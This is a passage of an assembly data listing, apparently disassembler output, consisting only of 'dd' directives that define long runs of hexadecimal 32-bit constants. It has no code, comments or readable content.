		dd 0F03E3241h, 3C25E8A3h, 0C74A7ECBh, 2288C947h, 2AFC7BACh
		dd 3435E184h, 0BA793061h, 95E90C84h, 1C8BEF33h,	765D5811h
		dd 6A0D5C62h, 9F28FC09h, 0C501452h, 44116323h, 0E7B92D7Ah
		dd 5669AAFDh, 5224E290h, 0E96C885Eh, 0A6294224h, 32B8C793h
		dd 44081143h, 0A897423Ch, 0A432A68Dh, 21542C20h, 819A56D6h
		dd 930B7E97h, 13C5B120h, 49673235h, 0D4822C1Eh,	503DB162h
		dd 68386136h, 0D9722054h, 492C88ABh, 96E47F14h,	0D5525BF8h
		dd 81FEB77h, 8993716Fh,	0B095657h, 52A267E3h, 0D3870525h
		dd 5C3E8978h, 0D888093Fh, 0B970D834h, 0A60CEB80h, 5206FC7Eh
		dd 0AF928A82h, 0C9CF7C81h, 37CA62Bh, 5FE9DF75h,	0A47F55DAh
		dd 0E812C50Bh, 0BA9D253Dh, 0F896121Fh, 0A1206DAh, 0B75A4473h
		dd 0D1F91630h, 33EEFCC4h, 0D5F4219h, 0E7DEB77Ch, 5F1200A4h
		dd 67A48EACh, 9644E818h, 21C5C857h, 0BC4217ACh,	0A457F21h
		dd 0E94432C4h, 30AA27E9h, 60B6E8CCh, 5996E1BEh,	0FC3C8AFh
		dd 10B8E14h, 60A4E175h,	20641273h, 1994627Ch, 0B781E108h
		dd 81086411h, 9D38C033h, 0A10F7812h, 22FF950Fh,	0E495082Eh
		dd 0EE782127h, 3BEF7C0Ah, 0B84E5991h, 39288262h, 57228B9Dh
		dd 0EBBE24E6h, 0B8131098h, 88525B38h, 0FD430CFh, 0BC04E4E9h
		dd 0A5CA51E8h, 129EE65Bh, 0CEA26011h, 52080CC8h, 42C4455h
		dd 7828EFFCh, 0D411EE43h, 953EA61Bh, 98887CB5h,	0F22D8951h
		dd 14787A76h, 130B86F0h, 1C514868h, 5A222F25h, 1B292A29h
		dd 0DD8C5083h, 0DB8C955h, 12BF4E1Bh, 66A332B9h,	39436B31h
		dd 2BB46B1Dh, 602CD98Bh, 0D2CC7AFCh, 0A97F506Ah, 0D8FA4B70h
		dd 13D86C92h, 94F9D880h, 7290427Ch, 8C5F2730h, 3D588535h
		dd 200EF511h, 225C4218h, 6042810Bh, 7E722614h, 6545845h
		dd 60B53E05h, 0E3895173h, 241AB554h, 37965D6Eh,	1F5245FBh
		dd 4F1AEC50h, 451C5969h, 420D0E40h, 21482054h, 5442FA68h
		dd 0A13318F9h, 0FAA33F8Dh, 8F449C7Bh, 0F104B80Bh, 890CFA74h
		dd 49682BCFh, 45967101h, 9F83317Ch, 26090571h, 88173F0Bh
		dd 10C27179h, 27E345Eh,	5DF40B8Dh, 0C9F7FFB2h, 1E26F3F2h
		dd 0EB0F5C7Eh, 932FDD34h, 1F1E64D7h, 9D1406EBh,	31D06A08h
		dd 0BCCC3DCAh, 37A6841Bh, 3A95A5AAh, 1E332044h,	800F38E4h
		dd 428452D3h, 0A2BFF130h, 4FD0A10Eh, 0B0A5511h,	26154FCAh
		dd 54B0096Eh, 0AF75051Ah, 34D5B5A4h, 86811003h,	51242C3Dh
		dd 7562CF7Eh, 78567192h, 5F7F084Fh, 84018F57h, 0E9053021h
		dd 5756B01Eh, 5C52C4F6h, 20C5484Fh, 0FD00B0FBh,	0A4285A27h
		dd 0FFA85D0Eh, 1F8CC9Ch, 73889022h, 56629F09h, 3C6A0B10h
		dd 0C13B5909h, 8D4A0576h, 3A230D16h, 3659647Ch,	74B84B94h
		dd 0B3995D0h, 20445934h, 0A88D8314h, 0D95728A2h, 0AC891391h
		dd 0F84427E8h, 8B0C8108h
		dd 83570E82h, 0AC82D8C0h, 92EE5AEDh, 26C9107Fh,	339E5E3Ch
		dd 75A83935h, 1A79EBDFh, 8EC819CDh, 0C96B4100h,	0A5EAFD3Ch
		dd 0AF258D43h, 4061B10h, 1E54840Fh, 77CF492h, 7D89E03Bh
		dd 30787420h, 0AE233F3Ah, 7889B72Bh, 12E4C4FAh,	5F5BECE8h
		dd 4AEB6839h, 0D662F87Ah, 0A27C36ABh, 4FE9B844h, 9D8CF4D4h
		dd 19B4015Dh, 2101A75h,	0C4BB1208h, 4917E25h, 5434F28h
		dd 31FFFC0Ch, 7F5F08F0h, 0CA6BD2E7h, 0BA0C8F24h, 508A3ACCh
		dd 63573C85h, 2566A9F6h, 1805C687h, 7421A0CBh, 0AEC6C9A5h
		dd 0AC50E044h, 0B78B808Dh, 0ECF4956Eh, 74096268h, 7C4F0854h
		dd 50306A42h, 2B40712Ch, 828F88Bh, 6128718Fh, 8804FB73h
		dd 227E2F5Dh, 1E1C6ABCh, 0D17815C6h, 711830C8h,	4845FE3Dh
		dd 0F0EF82Fh, 3BC04DBEh, 0C7DE7CCFh, 3076CDAAh,	0CDD28C9h
		dd 0EF2B732Eh, 887FE820h, 0B09E4CB3h, 5F633265h, 0EC9F82F8h
		dd 0E8885FD2h, 5AC9C55Dh, 8184368Ch, 1384070Ch,	81544F8h
		dd 0B02219FBh, 2BEB2BC4h, 8C9F2BCh, 7507A4DCh, 0DFF15003h
		dd 2C3E04BEh, 59473282h, 9D88C804h, 0B8978C08h,	4F1CA18Bh
		dd 108EC428h, 50B526F1h, 78158D47h, 1122ACCDh, 32900C64h
		dd 0AA51258Ch, 844ECF28h, 5554C92Ch, 7E010871h,	84D4294Fh
		dd 0FA2CFB98h, 8DDF7886h, 0DCFB9808h, 234E4822h, 0BC42EC59h
		dd 3CE910FBh, 1A0A97D2h, 0D9ADC2BFh, 388DBCB7h,	7877E098h
		dd 0CC292777h, 0BB3C797Bh, 5C2C0875h, 0BFE5712h, 2318246Ch
		dd 14C80310h, 167FA61Ah, 8D3041F4h, 43023044h, 8D68DAAAh
		dd 56C1BA42h, 0CD4C3868h, 34534FFCh, 0CD8DF1BAh, 0E8838428h
		dd 31EF5954h, 52E48E6Ah, 9B29450Fh, 8D2411BEh, 41F947D2h
		dd 3CE7B2DEh, 11989C27h, 0AD4B0FFh, 362C67E8h, 0D6180F15h
		dd 0B880E744h, 73FD90AEh, 9266850Fh, 2B3A5681h,	0AD3558F2h
		dd 4B20ABF1h, 4E4BCB90h, 53F5BA2Dh, 0AF11773h, 1FE4172Ch
		dd 2258AD21h, 2833B112h, 18F32A1Ch, 3C5B461Ah, 88F4212h
		dd 58C8E151h, 4C743509h, 42862700h, 0BFE19F58h,	0B827C8C3h
		dd 88FA56A9h, 2154582Dh, 15082B6Dh, 98217458h, 0E1F89C27h
		dd 0E9111879h, 0BEB82A01h, 226B9488h, 22FC78EDh, 6C3957C9h
		dd 2BBB0E42h, 7F6AF982h, 701A38C5h, 2971F72Dh, 0E8B51A3Eh
		dd 0F9CF020Dh, 0B831556Ah, 1B4762FCh, 3E4380BDh, 2AC2705Ah
		dd 6C540C84h, 99847806h, 0D91849F8h, 23844DC8h,	0A56251F0h
		dd 0C47BD64Ch, 43E82C74h, 43AF08FBh, 0B747941h,	78511988h
		dd 0F2E9B384h, 0C42EB31Bh, 0EC33FC88h, 0E6122B50h, 2531564Fh
		dd 0F514F124h, 48F0CDBBh, 7A8A30C9h, 3FC768BAh,	0B2FAC8EFh
		dd 462C204Ch, 3ED68AA0h, 1818F868h, 0D1ACE819h,	0AC45F14Dh
		dd 454CFA16h, 2C6AA134h, 943453Bh, 47194930h, 0E606541h
		dd 109E4A7Eh, 58A7F9F8h, 71F8F767h, 4BAC0110h, 28802408h
		dd 181D85F1h, 7B368461h, 46283C40h, 4CD0E1F1h, 1A1AF911h
		dd 0CCF13810h, 0F5682BF3h, 0CC10DD73h, 6942C5F2h, 91F31228h
		dd 2E28B208h, 9D41FC2Ah, 0BF11F4D0h, 34BD2D55h,	0EB917D4h
		dd 6424A192h, 0AEA214EEh, 16E7FFF8h, 0DC1FA820h, 683D9EF4h
		dd 629A2F08h, 83215A72h, 1DD89455h, 0F1F08D0h, 8405D2B6h
		dd 104E9BD6h, 4C84F4E0h, 0B44823F2h, 7868AB21h,	90379204h
		dd 9BA6F4D4h, 5713E432h, 8C213D4Eh, 82BA124Ch, 3D4E5600h
		dd 426F1540h, 0CC807E4Ah, 480885F4h, 0BBF762F2h, 0F4CC2334h
		dd 0F1083871h, 0EC840146h, 89EB32F4h, 0C818E015h, 445582E5h
		dd 68062AFFh, 0E648247Eh, 67F6E238h, 32C810A4h,	85110F08h
		dd 48A2E748h, 0CD67D3C4h, 733FBB2Fh, 0D0252F9Ah, 108E9AE7h
		dd 0B7E5C4E7h, 0E1952C4Eh, 91044BE8h, 11E7CC62h, 0D5484ED6h
		dd 8CFCBB44h, 888A0B6Ah, 0C5754949h, 0E729E7C8h, 2F0CE5F9h
		dd 0C8841846h, 33232BE7h, 9066FBA7h, 4E74844Bh,	0F8D3CAA9h
		dd 93D13073h, 4B4EE956h, 0D4103CF4h, 0EB14E742h, 3884FEDEh
		dd 0B00872E3h, 0AEE3B8DEh, 66F821FEh, 0EEE43888h, 0B8881034h
		dd 0D5E6FE48h, 206A3227h, 1011E549h, 0E72AC402h, 648C0865h
		dd 0EAE548B8h, 0BCC80FD4h, 30186079h, 42C7E344h, 10857E4Dh
		dd 4879110Ah, 28E334C4h, 0C10DF530h, 34101A10h,	8E35ACE3h
		dd 4B4B6875h, 4865032Ch, 0CEE10F4Dh, 0C2BE7CD0h, 6D17C4E9h
		dd 0E5C00812h, 44DCEB42h, 0B7EAF011h, 654ACA46h, 5290F931h
		dd 493F5392h, 81BEBCFh,	0C8F44022h, 8B8BDA3Eh, 984016B4h
		dd 4A126B1Eh, 273F6E7Fh, 337565BDh, 0C7592491h,	0CCEB13D7h
		dd 5DA450B0h, 985A3EA3h, 0C8C419B2h, 4CC1214Ah,	2517200Eh
		dd 2F304776h, 885EBCCh,	5862EA70h, 91F96DCAh, 4478B8EBh
		dd 0EE496A4Ah, 0EBD0A1F8h, 6424E908h, 0E861E3EEh, 612E51B5h
		dd 8F94001h, 2C2EE1D9h,	0F743B87Bh, 0A8459E34h,	4744B8E8h
		dd 0F7B410F9h, 31F8B884h, 0E4635171h, 0A40AB996h, 4A6609BFh
		dd 45C2CC5Bh, 0D401C51h, 20464286h, 85F9E638h, 62F7B408h
		dd 23341444h, 0E870F938h, 0E3618849h, 614645B7h, 94F144E9h
		dd 251F98F1h, 581B9A2Ch, 0BC345A1Eh, 1D1FCD15h,	5C849622h
		dd 0CE9F1149h, 0E91370A6h, 682346C2h, 34FE2B3Ch, 46B09349h
		dd 0DE3FDFC0h, 5C71E8F3h, 60C4C3F0h, 10445ECh, 696B1A08h
		dd 74F46E21h, 0C8BBAF20h, 0B550AEB7h, 0F441ACCh, 0E8ED4464h
		dd 274AD137h, 89CB5B19h, 0C454EBE0h, 59A92C51h,	0EBDC895Bh
		dd 0EE92165Bh, 43704B73h, 72424013h, 48D7C24Bh,	0ED88584Fh
		dd 11B714Fh, 506D452Eh,	28EE6884h, 11EB43DCh, 3EA686B2h
		dd 88F2B5BFh, 1A7048A8h, 87248C4Ah, 74D067CDh, 725086EEh
		dd 599F4415h, 7A5EA581h, 254A6642h, 0E80F16B5h,	145733A5h
		dd 66893B10h, 0F149D98h, 0EAB639E8h, 82FA1044h,	0FB7E0905h
		dd 55A1320h, 0A0DA7137h, 769838ABh, 0BEF88B49h,	0B02EB21Bh
		dd 0B590B62Ch, 6284B252h, 0D19553EEh, 573C3B79h, 0D16DE94Ah
		dd 0CB8197A5h, 1D114870h, 10FF04E4h, 6B290B64h,	0DA762553h
		dd 4DA60549h, 0ACA484B8h, 0F5808699h, 0DFBCAA99h, 4F966CCEh
		dd 223BF3D9h, 778F847Ch, 9F8A789h, 2C314DEDh, 3868C65Eh
		dd 432C5BFh, 0A4F3BC49h, 0D090B9ECh, 64F4D016h,	0D4ED12F2h
		dd 105CB668h, 66E95EF7h, 5F314B44h, 0F71B4E24h,	573261C4h
		dd 3BC95D73h, 4347F11Bh, 38485E11h, 216B25Ch, 997B4313h
		dd 0C25CBD25h, 72547A8h, 5CB299D4h, 2B1401A3h, 271F5068h
		dd 0DDF3E28Fh, 0F123179Eh, 4684864Bh, 0F3A628C6h, 92853D79h
		dd 0B5C5A883h, 3B45ABB6h, 3121CD7Bh, 95C90C8Dh,	51293AEDh
		dd 5FA701CDh, 604BDDA2h, 0E42D02DAh, 0C4E7B4Ch,	0D71A147Eh
		dd 0BBEB6989h, 50DF2B03h, 14680C9Eh, 0B824E881h, 2C4022A4h
		dd 2BE94059h, 0C49BC5C8h, 47AB2C56h, 1C2B1CC5h,	0D2714738h
		dd 0F45FAEA1h, 0C684045h, 55278832h, 56B8B6BAh,	0B3AD6F74h
		dd 1746E262h, 165F9809h, 0E0681490h, 0BC212646h, 0AA12186Ch
		dd 13C405A6h, 138D132h,	6CA18E0Fh, 23028CE4h, 0E9BDA803h
		dd 0C2A2AA0Ch, 853724D4h, 79952253h, 0CF2C17F4h, 0A9906858h
		dd 6C16691Ch, 99AACC52h, 0BB0C5A8Eh, 8A2C4B5Fh,	761B5748h
		dd 0A759FA4Fh, 0E6159D3Ch, 1E97C490h, 1799E902h, 0BE2F9CF5h
		dd 54856951h, 2674884h,	14306564h, 86A797EBh, 0E3C47C10h
		dd 70B82745h, 43841AD4h, 1AC2C435h, 5917212Ah, 5AC1511h
		dd 0F8AD4C8Dh, 58C2A364h
		dd 5413DFE9h, 1A82C2A8h, 3F88A945h, 37054B4Bh, 4814EAF3h
		dd 1944A261h, 890F285Bh, 4A00240Ch, 4B8A99A9h, 0F8AC6789h
		dd 0C40A3971h, 102A4A8Eh, 0E04A1D88h, 0ABC21496h, 6EFF74E9h
		dd 824EE12Bh, 0A64ABD10h, 19E9282Eh, 714A5662h,	520FDA2Ah
		dd 0C8CC713Bh, 6BA65625h, 1DB22342h, 8945E430h,	95280A09h
		dd 54698145h, 48802A0Fh, 7945D82Fh, 1CE58AD5h, 12A8110Eh
		dd 0F7EC20E9h, 6FA1E749h, 0C4120A48h, 9CC562C2h, 14B03599h
		dd 499E8505h, 0AE55398Ah, 0A24B3B37h, 28AAD276h, 5BDF8325h
		dd 2475745Bh, 888AA122h, 0F8E208BFh, 0EA458218h, 0A66FD4Bh
		dd 0E07AF07Ah, 20283197h, 4946A018h, 0CB0B1021h, 97051C18h
		dd 0D6B74519h, 5771195Eh, 2A606942h, 41449103h,	76D7B0BCh
		dd 5393E92Ch, 8A216E18h, 72B27C90h, 8832463Eh, 7562A55Dh
		dd 620A5624h, 0C191114h, 3DE92120h, 0E5C1AB42h,	48F18B92h
		dd 96E66CDCh, 0E892802Bh, 2C9F5F80h, 4442E4B6h,	0CDDA043Ah
		dd 64EF69FAh, 0C524B9h,	0B2EB622Ch, 0CCE59734h,	5679143Bh
		dd 0AC9F2252h, 8B38B3B5h, 39B55650h, 5C42A988h,	855B5F22h
		dd 0C4AC1082h, 34234282h, 0E91AC1FDh, 684F9C94h, 6C45166Ah
		dd 82E0812Eh, 33D3A01h,	242EC82Eh, 9BC53AC5h, 0F392A3E8h
		dd 13F88B12h, 44F0270Ch, 9A2553BCh, 94B7F147h, 4C77593Bh
		dd 585A791h, 1C628B49h,	212BB67h, 0E528C32Dh, 0EB0BBE23h
		dd 76CD542Bh, 2D1A9429h, 0FF3591C4h, 7DD11EF0h,	17084956h
		dd 488D642h, 0D141AC62h, 0E3D58865h, 43D06884h,	0DD9ACCD3h
		dd 4792039Ch, 47511016h, 2B4F7DE3h, 9C990AF8h, 5A0C168Ah
		dd 0FCB9125Ah, 83BAE4E1h, 8D169020h, 1A0F4AEBh,	79621464h
		dd 62AE8186h, 143E5452h, 0F446FD24h, 27B12B51h,	2E89F94Eh
		dd 454747E2h, 5143421h,	64444A6h, 0FCC65989h, 0A123D637h
		dd 9E396219h, 0D309940Ah, 897C5915h, 67E4E7DCh,	27598C26h
		dd 65967C5Ah, 5C1D0512h, 1458E2E8h, 0D1A5596Fh,	16957D2Fh
		dd 5958277Dh, 0D8895F7Bh, 2DF4CCE7h, 34B1E960h,	0FD71E664h
		dd 1042D842h, 18B64061h, 16011459h, 84FD393Bh, 0D828E95Ch
		dd 5211E743h, 0B43EA6ADh, 0D6EDD618h, 4002231Ch, 0D0E22B08h
		dd 6486E968h, 8B532B16h, 173E4810h, 6E894FB6h, 37E97F85h
		dd 0FE9025FAh, 10917D34h, 3334035h, 8BF9BC2Fh, 17BAA965h
		dd 0E579F9A5h, 0B67765FEh, 44FC1230h, 842D3AAEh, 57214224h
		dd 0C101B3Fh, 5E40883Ah, 0F9B61A2Fh, 0D8227E83h, 0F4D93F41h
		dd 5F6285F1h, 458B7CC2h, 286DF318h, 0A862F608h,	0F90BEB57h
		dd 86DE8856h, 442F2354h, 0BFE0C308h, 1450163Fh,	6A2A416Ch
		dd 9846FEF0h, 57C62690h, 41705881h, 10DEFD86h, 96953E85h
		dd 75AD69E0h, 1B88861Dh, 8CE96217h, 572D218Eh, 0C551DA3Bh
		dd 2D172714h, 57F6E118h, 0EC113978h, 45373440h,	220AA810h
		dd 0E8575E2Dh, 0C274F2CAh, 0D3E3DDD6h, 823468BCh, 7808B565h
		dd 3DF74240h, 573E880Dh, 0A128BB83h, 2D1B510h, 28F95234h
		dd 84CEEB84h, 755F0400h, 0D51112D8h, 1C2C8Bh, 0FC3D5616h
		dd 28B04712h, 88E98999h, 555D152h, 0BE8F2AB2h, 55FE4C51h
		dd 3FD4CD02h, 28DF8923h, 440A9C67h, 72F8A7Fh, 3CB8F2A2h
		dd 9648BE0Fh, 24156428h, 424AD551h, 7E7342CCh, 47125C08h
		dd 4A71F8BDh, 0A5D925AFh, 17AC9AE5h, 0D1BD9E76h, 1C8A4C26h
		dd 0F6D8E914h, 4281214Bh, 0F85BB88h, 764B2C72h,	546825C6h
		dd 5B2EC8EDh, 37C8B6A5h, 0DB191555h, 0B214E557h, 2D15364Ah
		dd 2353525Ch, 0DC441A38h, 42113031h, 98160135h,	199850F9h
		dd 41EF2BE8h, 8896B82Bh, 0E925B498h, 62BAEC2Ch,	8B425045h
		dd 0DE4082E8h, 0B21EC7B0h, 0BD6438E4h, 14BFC89Fh, 0DEFB883Fh
		dd 3E191EB9h, 842FE715h, 5ACCAB95h, 170088Dh, 0B5106CEBh
		dd 4983A3A2h, 0C55F8DE8h, 0A23835E0h, 0DE7BA962h, 3EA050A5h
		dd 6086418Ah, 604A13DEh, 99E13FE7h, 31101B14h, 0D64899h
		dd 7220FE83h, 4A3CE98Fh, 0BCD661BAh, 437B1C10h,	10A78541h
		dd 474121A7h, 341C2CCAh, 574A7BA0h, 0F650BA9Eh,	0AF78B13h
		dd 0BA341216h, 0E5F92767h, 1DD915AAh, 173DCC10h, 6B9C6E9h
		dd 0A205B84Bh, 9419A4C0h, 996D0953h, 20617B4Ah,	0A0DB853Ah
		dd 0B9F976EEh, 0C314083Eh, 82400ABAh, 5CB95D9Ch, 0FA4CCA3Ah
		dd 0BC18300h, 0F6751938h, 882832D9h, 20558910h,	0BA584BFh
		dd 278B1988h, 0B854B8C8h, 7DF79980h, 0BFC10308h, 5133A398h
		dd 21A1B4BFh, 80F83ADEh, 42069C13h, 0C34A54E9h,	0C7D13CFCh
		dd 0A19A257Fh, 901591F5h, 94910721h, 0A188B422h, 8FBE4174h
		dd 502BBF14h, 47E6F6B9h, 2D05D84Bh, 5BFD3E92h, 42AF0C8Ah
		dd 0C1553CC7h, 5F7FE677h, 0FDF92357h, 176EB66Bh, 0FAE25E18h
		dd 0F291758Fh, 0BD441D56h, 0DA5E34F8h, 55A084EFh, 5F2108CDh
		dd 11F03B7Bh, 0ECF55581h, 62FCA4DEh, 0F8E1DC5Eh, 0F6D212BFh
		dd 0D8DB6BDDh, 8B18C5AFh, 0FEF2B589h, 3EE1E817h, 5B6267BFh
		dd 78FEC0F2h, 36B73D4Bh, 0BD11172Ah, 0B923F794h, 0E706173Eh
		dd 4218F8D2h, 38F7113Dh, 1E33ACB1h, 0DCD463B2h,	844E48D8h
		dd 42389821h, 67991A75h, 0C54C3356h, 659B1134h,	2695CC11h
		dd 0B132483h, 7F382849h, 2D4EB206h, 0B6CEE917h,	0EBB01CF2h
		dd 0C82C68AEh, 0B8C203Ch, 160439DEh, 0BC3538E8h, 1605A4CAh
		dd 2DBCDDF5h, 0FCAF7088h, 0B05749EBh, 95EBD855h, 3D49AAE6h
		dd 120F8A40h, 0D046DDC9h, 96C4C5B5h, 6089BE05h,	0ECDC408Ah
		dd 4E479132h, 0E25252EFh, 0EDE8C4D4h, 9DC753FCh, 130F9AE4h
		dd 3EEFA2D4h, 4FE844ECh, 0EC13846Fh, 4D04BD0Ah,	33B88674h
		dd 0BB4713A4h, 486E0FCCh, 4E28937h, 7E322302h, 0EDE0C263h
		dd 0EBD42114h, 0D06B8488h, 0C28DEDE0h, 0FE223C48h, 5CFC76CEh
		dd 0BDDCE120h, 74126665h, 48597EF0h, 0D9DE423Ch, 174E1609h
		dd 0A105EBF0h, 14C24850h, 252AB8B5h, 9142F9F4h,	940F1E04h
		dd 0E6252564h, 117427B2h, 0CA9A5A66h, 0C936AE22h, 72D92B70h
		dd 7A1D5EAFh, 7C99B050h, 8EDC4EBCh, 555424E8h, 0F3CCE2F7h
		dd 0D2356D11h, 0CB5CA07Eh, 0BBA92FFBh, 56881790h, 0BB8DDFA5h
		dd 0D2466930h, 4484FDBCh, 0B54023F1h, 0A88454A2h, 0FCF8223Bh
		dd 9DD72A01h, 0F3CC6F38h, 0F9DCBD88h, 0BE847816h, 2FB9565Ch
		dd 4FE6783h, 44427818h,	33835F9h, 0B530AE80h, 0F4D8C8B0h
		dd 0F1400885h, 345A9662h, 59F4D821h, 0F8160A41h, 1368CB3Bh
		dd 0EBCB359Ah, 25B90311h, 4087FB57h, 0DB76E956h, 898D959Dh
		dd 1477D0EBh, 0A108FA82h, 8828BFB6h, 8107EB12h,	443272B8h
		dd 5E89E96Fh, 0A95613BAh, 535BA18Bh, 4B111h, 9EC47CA1h
		dd 0F51A47C3h, 9E39AFD0h, 0C9173BE9h, 1F072E08h, 0A1409421h
		dd 0E814D0B7h, 0ED18194h, 6815C22Ah, 0DDEC2908h, 0E9F15261h
		dd 5E6ED6E6h, 0BB71B7F3h, 0B45831FCh, 71088D3Ah, 3E1A680Dh
		dd 0A97D4513h, 4856A363h, 5D63AF37h, 0A75BE2E9h, 9010CEB8h
		dd 937ECA31h, 29544814h, 0B4F2B21h, 0AF3B7D88h,	7784387Eh
		dd 39D82405h, 34517049h, 61B9095h, 0AD5CD3D7h, 76C9F187h
		dd 2E02A311h, 1D9052F2h, 48A524F7h, 0CF838F86h,	3479EBF7h
		dd 495A654Bh, 68030929h, 0C74E3957h, 0BF7E4DF9h, 46304E5Bh
		dd 2073C73Bh, 0BCA18309h, 9FD36ED4h, 0F189BAE8h, 39AC6101h
		dd 33BA1143h, 5CF82438h, 1B2C3EE7h, 3F9041F7h, 8F1676BCh
		dd 0E1CFF908h, 0F67C6569h
		dd 4FA478A2h, 0D5D7526Bh, 16D3D9C4h, 3062F91Eh,	28262E26h
		dd 0B1C76240h, 68630BF6h, 7F9AFC44h, 0C20BF210h, 75B1A8E9h
		dd 945E6B96h, 8CC564A2h, 6672EE38h, 1F901970h, 0B75E9E49h
		dd 31CC5869h, 1B740D18h, 0C570C63Eh, 36F8E813h,	18492CAFh
		dd 0AE47FD46h, 0BD8B0821h, 403C1C32h, 2D42721Eh, 0FDE61420h
		dd 0FC900885h, 413DFD61h, 0ED3E6B0Fh, 625F48A4h, 5E1138B8h
		dd 33A4F415h, 0FD96D546h, 2B1E8DAEh, 88849123h,	43E06838h
		dd 0F617690Ah, 2CE878F8h, 0F7B889B5h, 5E5CBD32h, 0B6D426D3h
		dd 3C324E7Ch, 85C69EBEh, 25AB5C68h, 89E52DEBh, 158B3C62h
		dd 222F6F14h, 8FF1F530h, 0E9181C40h, 0E10670A4h, 90A2A832h
		dd 0E9101CA3h, 3DD9AFFAh, 6A9D880Eh, 3496CBF5h,	9D29EC38h
		dd 37316E10h, 1A7D30BDh, 3574B550h, 0CE8BF5C4h,	1277BE27h
		dd 0EDE8946Eh, 0A4221A4Ah, 4F2E8ABh, 714187A9h,	12E627F5h
		dd 83D8F678h, 6C32F37Ch, 31045898h, 1CC4B991h, 0AF2BB904h
		dd 14F6EC72h, 84F57021h, 6840B18Ah, 0B8C28DF6h,	7292237h
		dd 0F6802134h, 93AF2CBEh, 828D70F8h, 0E961B28Dh, 124CEADEh
		dd 9C4765Ah, 42FCD328h,	35D1C4FBh, 0F811BBDEh, 9184CEFBh
		dd 1D5188A3h, 0A667612Dh, 203AC5A5h, 44489D34h,	91E54059h
		dd 965B8034h, 68991098h, 10375462h, 1913003h, 0B8041FC4h
		dd 7CBADC2Ah, 0F884FC42h, 4EC437FBh, 4D977C68h,	3708C2EDh
		dd 6DEF9D22h, 0FC8C08ABh, 5BD1C763h, 0CACBC4F1h, 36DC103Dh
		dd 0CF2F8085h, 822C53Ah, 90345EE3h, 0D4A3FB6Fh,	38850D17h
		dd 3EA99C78h, 0E4841A42h, 0E9242007h, 5A478A52h, 0DEE42717h
		dd 885F9931h, 22E434D2h, 0F3369005h, 7691657h, 102A1199h
		dd 5788120Eh, 6A0012A6h, 54E958FEh, 78EBCAADh, 5F406429h
		dd 0D11B485Bh, 5638C23h, 2844F95Fh, 30472232h, 4101E21h
		dd 33C00188h, 4D11E9C0h, 0E3F102ADh, 0E91B514Bh, 0BDF23A7Eh
		dd 684107D6h, 0D56C9DF4h, 0EB0B8AE8h, 1BC41513h, 15082D84h
		dd 544EA6CCh, 82B58C4Dh, 7BACB1E9h, 3390C2C9h, 31EEEF16h
		dd 48761A48h, 14CB13FCh, 3B64DE41h, 68C46AB8h, 17009833h
		dd 766D02BEh, 0EBB9612Fh, 64A560DCh, 76693094h,	36807189h
		dd 19682F7Eh, 10FA84D2h, 5FDFFBE4h, 0FE0B54Ch, 4E1A52E8h
		dd 246A6468h, 7B0B0992h, 0D00875E7h, 2D84427Dh,	3911401Ch
		dd 971C08F3h, 7573F9EAh, 62FBE088h, 4D347F42h, 80BC7F78h
		dd 4BA93544h, 0E16CF203h, 4C2BAB90h, 0E8417842h, 57312627h
		dd 227450B3h, 5C154284h, 0E979D7F7h, 42B84A28h,	5A4E3243h
		dd 4C5165CFh, 8D47517Ah, 78B768B8h, 0F5C348Ah, 0A7309908h
		dd 0FB17344Dh, 80197D3Ch, 0FDAE273Ch, 23543694h, 16FA44A0h
		dd 34E022FDh, 97E20925h, 0AF8F0D27h, 0FF4AE2F1h, 2402A1C2h
		dd 16CDCE0Ch, 9D055112h, 53A23163h, 0A85A7C3Fh,	367D03A7h
		dd 9820558Bh, 9E1C1C8h,	11348D07h, 1C0304F7h, 0FA87C4FBh
		dd 0CC10CC9Bh, 1E88022Bh, 0F4C3B9E9h, 5178946Ch, 420BA22Ah
		dd 95972238h, 7E2735F1h, 2FB8E21Dh, 0B0F1139h, 2967E9E2h
		dd 0DB3EDF9Ah, 55E96088h, 0DF9BC35Fh, 3A41772Bh, 27D938FBh
		dd 0D379B95Ah, 8CB41C75h, 95798410h, 0A78ADB9Dh, 88C214FEh
		dd 4F12081Ah, 8539F292h, 14290387h, 0E8AEA1C2h,	836288D7h
		dd 58E0242Fh, 0A94872E9h, 0B4EFF415h, 25D35D2Bh, 513A73BAh
		dd 7899FEE4h, 69E8D718h, 0E97014F1h, 8B8EDCBDh,	0CA0D4653h
		dd 33FCF01Dh, 0D81A1D91h, 48A95D17h, 0BF8719A8h, 0E62EBA96h
		dd 4B74152Bh, 505785E5h, 56D4ED28h, 0F2139533h,	0DF2CAF02h
		dd 4414A6B0h, 589F57DEh, 0FB68FF8Ah, 9E44E9B7h,	0C3E93017h
		dd 5D894742h, 57B3A72Ch, 0D87FB097h, 9E2853C9h,	8343C3A2h
		dd 31042A3Ah, 0E172087Dh, 0E19F6D4Fh, 30187179h, 9791EB88h
		dd 7517F153h, 46C57D10h, 2DF712C3h, 0DD04C12Fh,	15A83FE9h
		dd 59AC4FBEh, 8995AD4Fh, 4782F77Fh, 0E756427Bh,	0E4937272h
		dd 4D0B8D32h, 8CF0EC02h, 3BC86181h, 3D8754E8h, 0F0E90A76h
		dd 181323A7h, 9532A10Ah, 0B7BDDCC5h, 40C2FC10h,	458EA815h
		dd 0BAA73FC7h, 2001B484h, 0B53D892Ch, 0E92D547Ah, 75E889E4h
		dd 0C4011E6h, 7F14EA2Bh, 1D7E3585h, 7BCEA165h, 49C406ECh
		dd 3CD8AA4Fh, 460B0174h, 0E37CF73Bh, 0ABA92E32h, 0EB01B006h
		dd 0B81B71F8h, 2C3C2010h, 60E231B4h, 74574856h,	7E62C74h
		dd 47C133EEh, 36AC3C9h,	51E3A36Ah, 0DDA67B17h, 0C073A341h
		dd 0C2685D4Bh, 0DAEB03E0h, 0AD66CDD5h, 20C06A8Dh, 742D0C48h
		dd 2DF97EC0h, 184FFC56h, 0B5290B66h, 68C5FB71h,	7E07E1FFh
		dd 0E8848AA6h, 0AA2A95D5h, 5688EBB2h, 7CC73BC2h, 0FB573562h
		dd 9D10F0E0h, 0ECB74BD8h, 0A51781DFh, 2082BE13h, 0F0254BE6h
		dd 9E54E4DFh, 1F6C94EFh, 808686C8h, 1A33F2BDh, 7E7D750Ch
		dd 675C4982h, 7441301Ah, 4838A568h, 7FB720BAh, 1436A474h
		dd 87477502h, 6B68E34Ch, 9EE8C227h, 48D966DDh, 0C1E4084h
		dd 30C8E781h, 0C30C9D0Fh, 4F20EB43h, 77118D8Ch,	1C31F689h
		dd 86D9DE8Bh, 5BC3614Fh, 3BAFADE9h, 8528BF6h, 7525E9EBh
		dd 1DB93014h, 5F47838Bh, 53579AB2h, 2F530817h, 7F95A274h
